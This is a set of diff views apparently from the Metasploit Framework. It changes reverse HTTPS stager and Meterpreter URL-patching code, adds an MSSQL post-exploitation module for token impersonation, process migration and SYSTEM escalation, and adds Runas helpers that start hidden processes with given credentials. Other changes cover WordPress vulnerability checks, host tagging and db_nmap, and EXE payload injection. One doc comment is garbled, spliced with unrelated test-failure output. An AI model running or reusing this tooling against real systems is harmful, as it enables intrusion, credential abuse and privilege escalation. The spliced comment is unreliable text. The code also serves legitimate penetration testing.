if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash] if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end end

View File

@ -2,7 +2,7 @@
require 'msf/core' require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp' require 'msf/core/payload/windows/reverse_winhttp'
require 'rex/parser/x509_certificate' require 'msf/core/payload/windows/verify_ssl'
module Msf module Msf
@ -17,6 +17,7 @@ module Msf
module Payload::Windows::ReverseWinHttps module Payload::Windows::ReverseWinHttps
include Msf::Payload::Windows::ReverseWinHttp include Msf::Payload::Windows::ReverseWinHttp
include Msf::Payload::Windows::VerifySsl
# #
# Register reverse_winhttps specific options # Register reverse_winhttps specific options
@ -49,27 +50,13 @@ module Payload::Windows::ReverseWinHttps
# #
def generate def generate
verify_cert = false verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
verify_cert_hash = nil datastore['HandlerSSLCert'])
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
unless datastore['HandlerSSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
else
verify_cert = true
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
end
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
end
end
# Generate the simple version of this stager if we don't have enough space # Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space if self.available_space.nil? || required_space > self.available_space
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i if verify_cert_hash
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end end
@ -78,7 +65,6 @@ module Payload::Windows::ReverseWinHttps
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_small_uri, url: generate_small_uri,
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash, verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']) retry_count: datastore['StagerRetryCount'])
end end
@ -89,7 +75,6 @@ module Payload::Windows::ReverseWinHttps
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_uri, url: generate_uri,
exitfunk: datastore['EXITFUNC'], exitfunk: datastore['EXITFUNC'],
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash, verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'] retry_count: datastore['StagerRetryCount']
} }

View File

@ -1,6 +1,7 @@
#-*- coding: binary -*- #-*- coding: binary -*-
require 'msf/core' require 'msf/core'
require 'rex/payloads/meterpreter/patch'
module Msf module Msf
@ -75,10 +76,12 @@ module Payload::Windows::StagelessMeterpreter
# the URL might not be given, as it might be patched in some other way # the URL might not be given, as it might be patched in some other way
if url if url
url = "s#{url}\x00" # Patch the URL using the patcher as this upports both ASCII and WCHAR.
location = dll.index("https://#{'X' * 256}") unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
if location # If the patching failed this could mean that we are somehow
dll[location, url.length] = url # working with outdated binaries, so try to patch with the
# old stuff.
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
end end
end end

View File

@ -0,0 +1,36 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/parser/x509_certificate'
module Msf
###
#
# Implements SSL validation check options
#
###
module Payload::Windows::VerifySsl
#
# Get the SSL hash from the certificate, if required.
#
def get_ssl_cert_hash(verify_cert, handler_cert)
unless verify_cert.to_s =~ /^(t|y|1)/i
return nil
end
unless handler_cert
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
end
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
hash
end
end
end

View File

@ -0,0 +1,210 @@
# -*- coding: binary -*-
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/mssql_commands'
module Msf
class Post
module Windows
module MSSQL
# @return [String, nil] contains the identified SQL command line client
attr_accessor :sql_client
include Msf::Exploit::Remote::MSSQL_COMMANDS
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
# Identifies the Windows Service matching the SQL Server instance name
#
# @param [String] instance the SQL Server instance name to locate
# @return [Hash, nil] the Windows Service instance
def check_for_sqlserver(instance = nil)
target_service = nil
each_service do |service|
if instance.to_s.strip.empty?
# Target default instance
if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
else
if (
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
service[:display].downcase == instance.downcase # If the user gets very specific
) &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
end
end
if target_service
target_service.merge!(service_info(target_service[:name]))
end
target_service
end
# Identifies a valid SQL Server command line client on the host and sets
# @sql_client
#
# @see #sql_client
# @return [String, nil] the SQL command line client
def get_sql_client
client = nil
if check_sqlcmd
client = 'sqlcmd'
elsif check_osql
client = 'osql'
end
@sql_client = client
client
end
# Attempts to run the osql command line tool
#
# @return [Boolean] true if osql is present
def check_osql
result = run_cmd('osql -?')
result =~ /(SQL Server Command Line Tool)|(usage: osql)/i
end
# Attempts to run the sqlcmd command line tool
#
# @return [Boolean] true if sqlcmd is present
def check_sqlcmd
result = run_cmd('sqlcmd -?')
result =~ /SQL Server Command Line Tool/i
end
# Runs a SQL query using the identified command line tool
#
# @param [String] query the query to execute
# @param [String] instance the SQL instance to target
# @param [String] server the SQL server to target
# @return [String] the result of query
def run_sql(query, instance = nil, server = '.')
target = server
if instance && instance.downcase != 'mssqlserver'
target = "#{server}\\#{instance}"
end
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
vprint_status(cmd)
run_cmd(cmd)
end
# Executes a hidden command
#
# @param [String] cmd the command line to execute
# @param [Boolean] token use the current thread token
# @return [String] the results from the command
#
# @note This may fail as SYSTEM if the current process
# doesn't have sufficient privileges to duplicate a token,
# e.g. SeAssignPrimaryToken
def run_cmd(cmd, token = true)
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
res
end
# Attempts to impersonate the user of the supplied service
# If the process has the appropriate privileges it will attempt to
# steal a token to impersonate, otherwise it will attempt to migrate
# into the service process.
#
# @note This may cause the meterpreter session to migrate!
#
# @param [Hash] service the service to target
# @return [Boolean] true if impersonated successfully
def impersonate_sql_user(service)
return false if service.nil? || service[:pid].nil? || service[:pid] <= 0
pid = service[:pid]
vprint_status("Current user: #{session.sys.config.getuid}")
current_privs = client.sys.config.getprivs
if current_privs.include?('SeImpersonatePrivilege') ||
current_privs.include?('SeTcbPrivilege') ||
current_privs.include?('SeAssignPrimaryTokenPrivilege')
username = nil
session.sys.process.each_process do |process|
if process['pid'] == pid
username = process['user']
break
end
end
return false unless username
session.core.use('incognito') unless session.incognito
vprint_status("Attemping to impersonate user: #{username}")
res = session.incognito.incognito_impersonate_token(username)
if res =~ /Successfully/i
print_good("Impersonated user: #{username}")
return true
else
return false
end
else
# Attempt to migrate to target sqlservr.exe process
# Migrating works, but I can't rev2self after its complete
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
begin
session.core.migrate(pid)
rescue Rex::RuntimeError => e
print_error(e.to_s)
return false
end
vprint_status("Current user: #{session.sys.config.getuid}")
print_good("Successfully migrated to sqlservr.exe process #{pid}")
end
true
end
# Attempts to escalate the meterpreter session to SYSTEM
#
# @return [Boolean] true if escalated successfully or user is already SYSTEM
def get_system
print_status("Checking if user is SYSTEM...")
if is_system?
print_good("User is SYSTEM")
return true
else
# Attempt to get LocalSystem privileges
print_warning("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status && system_status.first
print_good("Success, user is now SYSTEM")
return true
else
print_error("Unable to obtained SYSTEM privileges")
return false
end
end
end
end # MSSQL
end # Windows
end # Post
end # Msf

View File

@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
include Msf::Post::File include Msf::Post::File
include Msf::Exploit::EXE include Msf::Exploit::EXE
include Msf::Exploit::Powershell include Msf::Exploit::Powershell
include Msf::Post::Windows::Error
ERROR = Msf::Post::Windows::Error
MAX_PATH = 260
STARTF_USESHOWWINDOW = 0x00000001
SW_HIDE = 0
def shell_execute_exe(filename = nil, path = nil) def shell_execute_exe(filename = nil, path = nil)
exe_payload = generate_payload_exe exe_payload = generate_payload_exe
@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas
select(nil, nil, nil, 1) until session_created? select(nil, nil, nil, 1) until session_created?
end end
end end
#
# Create a STARTUP_INFO struct for use with CreateProcessA
#
# This struct will cause the process to be hidden
#
# @return [String] STARTUP_INFO struct
#
def startup_info
[0, # cb
0, # lpReserved
0, # lpDesktop
0, # lpTitle
0, # dwX
0, # dwY
0, # dwXSize
0, # dwYSize
0, # dwXCountChars
0, # dwYCountChars
0, # dwFillAttribute
STARTF_USESHOWWINDOW, # dwFlags
SW_HIDE, # wShowWindow
0, # cbReserved2
0, # lpReserved2
0, # hStdInput
0, # hStdOutput
0 # hStdError
].pack('VVVVVVVVVVVVvvVVVV')
end
#
# Call CreateProcessWithLogonW to start a process with the supplier
# user credentials
#
# @note The caller should clear up the handles returned in
# the PROCESS_INFORMATION @return hash.
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] The executable to be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_with_logon(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 1024)
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
domain,
password,
'LOGON_WITH_PROFILE',
application_name,
command_line,
'CREATE_UNICODE_ENVIRONMENT',
nil,
nil,
startup_info,
16)
if create_process['return']
pi = parse_process_information(create_process['lpProcessInformation'])
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
end
pi
end
#
# Call CreateProcessAsUser to start a process with the supplier
# user credentials
#
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
#
# This will normally error with 0xc000142 on later OS's (Vista+?) for
# gui apps but is ok for firing off cmd.exe...
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] Thn executableived :CloseHandle
# with unexpected arguments
# expected: ("testPhToken")
# got: (n be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_as_user(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 32000)
vprint_status("Executing LogonUserA...")
logon_user = session.railgun.advapi32.LogonUserA(user,
domain,
password,
'LOGON32_LOGON_INTERACTIVE',
'LOGON32_PROVIDER_DEFAULT',
4)
if logon_user['return']
begin
ph_token = logon_user['phToken']
vprint_status("Executing CreateProcessAsUserA...")
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
application_name,
command_line,
nil,
nil,
false,
'CREATE_NEW_CONSOLE',
nil,
nil,
startup_info,
16)
if create_process['return']
begin
pi = parse_process_information(create_process['lpProcessInformation'])
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
end
return pi
ensure
session.railgun.kernel32.CloseHandle(ph_token)
end
else
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
end
nil
end
#
# Parse the PROCESS_INFORMATION struct
#
# @param process_information [String] The PROCESS_INFORMATION value
# from the CreateProcess call
#
# @return [Hash] The values from the process_information struct
#
def parse_process_information(process_information)
fail ArgumentError, 'process_information is nil' if process_information.nil?
fail ArgumentError, 'process_information is empty string' if process_information.empty?
pi = process_information.unpack('VVVV')
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
end
#
# Checks the username and domain is in the correct format
# for the CreateProcess_x WinAPI calls.
#
# @param username [String] The target user
# @param domain [String] The target user domain
#
# @raise [ArgumentError] If the username format is incorrect
#
# @return [True] True if username is in the correct format
#
def check_user_format(username, domain)
fail ArgumentError, 'username is nil' if username.nil?
if domain && username.include?('@')
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
end
true
end
#
# Checks the command_length parameter is the correct length
# for the CreateProcess_x WinAPI calls depending on the presence
# of application_name
#
# @param application_name [String] lpApplicationName
# @param command_line [String] lpCommandLine
# @param max_length [Integer] The max command length of the respective
# CreateProcess function
#
# @raise [ArgumentError] If the command_line is too large
#
# @return [True] True if the command_line is within the correct bounds
#
def check_command_length(application_name, command_line, max_length)
fail ArgumentError, 'max_length is nil' if max_length.nil?
if application_name.nil? && command_line.nil?
raise ArgumentError, 'Both application_name and command_line are nil'
elsif command_line && command_line.length > max_length
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
elsif application_name.nil? && command_line
cl = command_line.split(' ')
if cl[0] && cl[0].length > MAX_PATH
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
end
end
true
end
end end

View File

@ -43,22 +43,42 @@ module Msf::HTTP::Wordpress::Version
# Checks a readme for a vulnerable version # Checks a readme for a vulnerable version
# #
# @param [String] plugin_name The name of the plugin # @param [String] plugin_name The name of the plugin
# @param [String] fixed_version The version the vulnerability was fixed in # @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
# #
# @return [ Msf::Exploit::CheckCode ] # @return [ Msf::Exploit::CheckCode ]
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil) def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil)
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version) check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
end end
# Checks the style.css file for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil)
style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css')
res = send_request_cgi(
'uri' => style_uri,
'method' => 'GET'
)
# No style.css file present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version)
end
# Checks a readme for a vulnerable version # Checks a readme for a vulnerable version
# #
# @param [String] theme_name The name of the theme # @param [String] theme_name The name of the theme
# @param [String] fixed_version The version the vulnerability was fixed in # @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
# #
# @return [ Msf::Exploit::CheckCode ] # @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil) def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil)
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version) check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
end end
@ -77,7 +97,7 @@ module Msf::HTTP::Wordpress::Version
nil nil
end end
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil) def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil)
case type case type
when :plugin when :plugin
folder = 'plugins' folder = 'plugins'
@ -99,21 +119,57 @@ module Msf::HTTP::Wordpress::Version
'uri' => readme_url, 'uri' => readme_url,
'method' => 'GET' 'method' => 'GET'
) )
# no Readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
end end
# try to extract version from readme if res.nil? || res.code != 200
# No readme.txt or Readme.txt present for plugin
return Msf::Exploit::CheckCode::Unknown if type == :plugin
# Try again using the style.css file
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme
end
version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version)
if version_res == Msf::Exploit::CheckCode::Detected && type == :theme
# If no version could be found in readme.txt for a theme, try style.css
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version)
else
return version_res
end
end
def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil)
case type
when :readme
# Try to extract version from readme
# Example line: # Example line:
# Stable tag: 2.6.6 # Stable tag: 2.6.6
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1] version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
when :style
# Try to extract version from style.css
# Example line:
# Version: 1.5.2
version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1]
else
fail("Unknown file type #{type}")
end
# readme present, but no version number # Could not identify version number
return Msf::Exploit::CheckCode::Detected if version.nil? return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the #{type}") vprint_status("#{peer} - Found version #{version} of the #{item_type}")
if fixed_version.nil?
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
# Newer or equal to the version it was introduced
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
else
# Version older than fixed version # Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version) if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if vuln_introduced_version.nil? if vuln_introduced_version.nil?
@ -131,4 +187,5 @@ module Msf::HTTP::Wordpress::Version
return Msf::Exploit::CheckCode::Safe return Msf::Exploit::CheckCode::Safe
end end
end end
end
end end

View File

@ -2973,11 +2973,18 @@ class Core
res << addr res << addr
end end
when 'LHOST' when 'LHOST'
rh = self.active_module.datastore["RHOST"] rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
if rh and not rh.empty? if rh and not rh.empty?
res << Rex::Socket.source_address(rh) res << Rex::Socket.source_address(rh)
else else
res << Rex::Socket.source_address() res << Rex::Socket.source_address
# getifaddrs was introduced in 2.1.2
if Socket.respond_to?(:getifaddrs)
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
}
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
end
end end
else else
end end

View File

@ -220,6 +220,11 @@ class Db
end end
def change_host_info(rws, data) def change_host_info(rws, data)
if rws == [nil]
print_error("In order to change the host info, you must provide a range of hosts")
return
end
rws.each do |rw| rws.each do |rw|
rw.each do |ip| rw.each do |ip|
id = framework.db.get_host(:address => ip).id id = framework.db.get_host(:address => ip).id
@ -230,6 +235,11 @@ class Db
end end
def change_host_name(rws, data) def change_host_name(rws, data)
if rws == [nil]
print_error("In order to change the host name, you must provide a range of hosts")
return
end
rws.each do |rw| rws.each do |rw|
rw.each do |ip| rw.each do |ip|
id = framework.db.get_host(:address => ip).id id = framework.db.get_host(:address => ip).id
@ -240,6 +250,11 @@ class Db
end end
def change_host_comment(rws, data) def change_host_comment(rws, data)
if rws == [nil]
print_error("In order to change the comment, you must provide a range of hosts")
return
end
rws.each do |rw| rws.each do |rw|
rw.each do |ip| rw.each do |ip|
id = framework.db.get_host(:address => ip).id id = framework.db.get_host(:address => ip).id
@ -249,12 +264,59 @@ class Db
end end
end end
def add_host_tag(rws, tag_name)
if rws == [nil]
print_error("In order to add a tag, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
wspace = framework.db.workspace
host = framework.db.get_host(:workspace => wspace, :address => ip)
if host
possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
tag.name = tag_name
tag.hosts = [host]
tag.save! if tag.changed?
end
end
end
end
def delete_host_tag(rws, tag_name)
wspace = framework.db.workspace
tag_ids = []
if rws == [nil]
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
else
rws.each do |rw|
rw.each do |ip|
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
end
end
end
tag_ids.each do |id|
tag = Mdm::Tag.find_by_id(id)
tag.hosts.delete
tag.destroy
end
end
def cmd_hosts(*args) def cmd_hosts(*args)
return unless active? return unless active?
::ActiveRecord::Base.connection_pool.with_connection { ::ActiveRecord::Base.connection_pool.with_connection {
onlyup = false onlyup = false
set_rhosts = false set_rhosts = false
mode = :search mode = []
delete_count = 0 delete_count = 0
rhosts = [] rhosts = []
@ -263,7 +325,8 @@ class Db
output = nil output = nil
default_columns = ::Mdm::Host.column_names.sort default_columns = ::Mdm::Host.column_names.sort
virtual_columns = [ 'svcs', 'vulns', 'workspace' ] default_columns << 'tags' # Special case
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments'] col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
@ -271,9 +334,9 @@ class Db
while (arg = args.shift) while (arg = args.shift)
case arg case arg
when '-a','--add' when '-a','--add'
mode = :add mode << :add
when '-d','--delete' when '-d','--delete'
mode = :delete mode << :delete
when '-c' when '-c'
list = args.shift list = args.shift
if(!list) if(!list)
@ -297,14 +360,17 @@ class Db
when '-S', '--search' when '-S', '--search'
search_term = /#{args.shift}/nmi search_term = /#{args.shift}/nmi
when '-i', '--info' when '-i', '--info'
mode = :new_info mode << :new_info
info_data = args.shift info_data = args.shift
when '-n', '--name' when '-n', '--name'
mode = :new_name mode << :new_name
name_data = args.shift name_data = args.shift
when '-m', '--comment' when '-m', '--comment'
mode = :new_comment mode << :new_comment
comment_data = args.shift comment_data = args.shift
when '-t', '--tag'
mode << :tag
tag_name = args.shift
when '-h','--help' when '-h','--help'
print_line "Usage: hosts [ options ] [addr1 addr2 ...]" print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
print_line print_line
@ -320,6 +386,7 @@ class Db
print_line " -i,--info Change the info of a host" print_line " -i,--info Change the info of a host"
print_line " -n,--name Change the name of a host" print_line " -n,--name Change the name of a host"
print_line " -m,--comment Change the comment of a host" print_line " -m,--comment Change the comment of a host"
print_line " -t,--tag Add or specify a tag to a range of hosts"
print_line print_line
print_line "Available columns: #{default_columns.join(", ")}" print_line "Available columns: #{default_columns.join(", ")}"
print_line print_line
@ -338,7 +405,9 @@ class Db
col_names = default_columns + virtual_columns col_names = default_columns + virtual_columns
end end
if mode == :add mode << :search if mode.empty?
if mode == [:add]
host_ranges.each do |range| host_ranges.each do |range|
range.each do |address| range.each do |address|
host = framework.db.find_or_create_host(:host => address) host = framework.db.find_or_create_host(:host => address)
@ -358,23 +427,41 @@ class Db
# Sentinal value meaning all # Sentinal value meaning all
host_ranges.push(nil) if host_ranges.empty? host_ranges.push(nil) if host_ranges.empty?
case mode case
when :new_info when mode == [:new_info]
change_host_info(host_ranges, info_data) change_host_info(host_ranges, info_data)
return return
when :new_name when mode == [:new_name]
change_host_name(host_ranges, name_data) change_host_name(host_ranges, name_data)
return return
when :new_comment when mode == [:new_comment]
change_host_comment(host_ranges, comment_data) change_host_comment(host_ranges, comment_data)
return return
when mode == [:tag]
begin
add_host_tag(host_ranges, tag_name)
rescue ::Exception => e
if e.message.include?('Validation failed')
print_error(e.message)
else
raise e
end
end
return
when mode.include?(:tag) && mode.include?(:delete)
delete_host_tag(host_ranges, tag_name)
return
end end
each_host_range_chunk(host_ranges) do |host_search| each_host_range_chunk(host_ranges) do |host_search|
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host| framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
if search_term if search_term
next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } next unless (
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
!Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
)
end end
columns = col_names.map do |n| columns = col_names.map do |n|
# Deal with the special cases # Deal with the special cases
if virtual_columns.include?(n) if virtual_columns.include?(n)
@ -382,6 +469,11 @@ class Db
when "svcs"; host.services.length when "svcs"; host.services.length
when "vulns"; host.vulns.length when "vulns"; host.vulns.length
when "workspace"; host.workspace.name when "workspace"; host.workspace.name
when "tags"
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC")
tag_names = []
found_tags.each { |t| tag_names << t.name }
found_tags * ", "
end end
# Otherwise, it's just an attribute # Otherwise, it's just an attribute
else else
@ -394,7 +486,7 @@ class Db
addr = (host.scope ? host.address + '%' + host.scope : host.address ) addr = (host.scope ? host.address + '%' + host.scope : host.address )
rhosts << addr rhosts << addr
end end
if mode == :delete if mode == [:delete]
host.destroy host.destroy
delete_count += 1 delete_count += 1
end end
@ -1647,11 +1739,18 @@ class Db
print_status("Usage: db_nmap [nmap options]") print_status("Usage: db_nmap [nmap options]")
return return
end end
save = false save = false
if args.include?("save") arguments = []
while (arg = args.shift)
case arg
when 'save'
save = active? save = active?
args.delete("save") when '--help', '-h'
cmd_db_nmap_help
return
else
arguments << arg
end
end end
nmap = nmap =
@ -1674,15 +1773,15 @@ class Db
# Custom function needed because cygpath breaks on 8.3 dirs # Custom function needed because cygpath breaks on 8.3 dirs
tout = Rex::Compat.cygwin_to_win32(fd.path) tout = Rex::Compat.cygwin_to_win32(fd.path)
fout = Rex::Compat.cygwin_to_win32(fo.path) fout = Rex::Compat.cygwin_to_win32(fo.path)
args.push('-oX', tout) arguments.push('-oX', tout)
args.push('-oN', fout) arguments.push('-oN', fout)
else else
args.push('-oX', fd.path) arguments.push('-oX', fd.path)
args.push('-oN', fo.path) arguments.push('-oN', fo.path)
end end
begin begin
nmap_pipe = ::Open3::popen3([nmap, "nmap"], *args) nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments)
temp_nmap_threads = [] temp_nmap_threads = []
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1| temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
np_1.each_line do |nmap_out| np_1.each_line do |nmap_out|
@ -1715,6 +1814,45 @@ class Db
} }
end end
def cmd_db_nmap_help
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
stdout.each_line do |out_line|
next if out_line.strip.empty?
print_status(out_line.strip)
end
stderr.each_line do |err_line|
next if err_line.strip.empty?
print_error(err_line.strip)
end
end
def cmd_db_nmap_tabs(str, words)
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
tabs = []
stdout.each_line do |out_line|
if out_line.strip.starts_with?('-')
tabs.push(out_line.strip.split(':').first)
end
end
stderr.each_line do |err_line|
next if err_line.strip.empty?
print_error(err_line.strip)
end
tabs
end
# #
# Store some locally-generated data as a file, similiar to store_loot. # Store some locally-generated data as a file, similiar to store_loot.
# #

View File

@ -18,6 +18,7 @@ require 'rex/zip'
require 'metasm' require 'metasm'
require 'digest/sha1' require 'digest/sha1'
require 'msf/core/exe/segment_injector' require 'msf/core/exe/segment_injector'
require 'msf/core/exe/segment_appender'
## ##
# #
@ -205,12 +206,15 @@ require 'msf/core/exe/segment_injector'
end end
p_length = payload.length + 256 p_length = payload.length + 256
# If the .text section is too small, append a new section instead
if text.size < p_length if text.size < p_length
fname = ::File.basename(opts[:template]) appender = Msf::Exe::SegmentAppender.new({
